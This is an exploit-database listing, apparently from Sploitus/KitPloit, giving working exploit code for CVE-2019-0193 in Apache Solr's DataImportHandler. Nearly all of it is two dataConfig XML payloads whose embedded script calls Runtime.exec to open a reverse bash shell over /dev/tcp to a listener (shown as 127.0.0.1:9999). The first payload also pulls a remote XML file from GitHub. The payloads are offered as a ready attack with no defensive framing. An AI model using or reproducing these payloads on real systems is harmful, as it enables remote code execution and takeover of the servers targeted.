Sploitus

Exploit for CVE-2019-0193-exp

kitploit · 2026-08-25

Exploit Code

MARKDOWN64 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JAYCHOUZZK-CVE-2019-0193-EXP
# CVE-2019-0193-exp

## 1

root@kitploit:~
    
    
    <dataConfig>
    
    
      <dataSource type="URLDataSource"/>
      <script><![CDATA[
    
              function poc(row){
    
     var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/9999 0>&1")));
    
    var result = [];
    
    while(true) {
    var oneline = bufReader.readLine();
    result.push( oneline );
    if(!oneline) break;
    }
    
    row.put("title",result.join("\n\r"));
    
    return row;
    
    }
    
    
      ]]></script>
    
            <document>
                 <entity name="entity1"
                         url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
                         processor="XPathEntityProcessor"
                         forEach="/RDF/item"
                         transformer="script:poc">
                            <field column="title" xpath="/RDF/item/title" />
                 </entity>
            </document>
    </dataConfig>
    

## 2.jdbc:

root@kitploit:~
    
    
    <dataConfig>
    <dataSource type="URLDataSource"/>
      <script><![CDATA[ java.lang.Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/9999 0>&1");
      ]]></script>
      <document>
        <entity name="a"
                url="https://stackoverflow.com/feeds/tag/solr"
                processor="XPathEntityProcessor"
                forEach="/feed"
                transformer="script:" />
      </document>
    </dataConfig>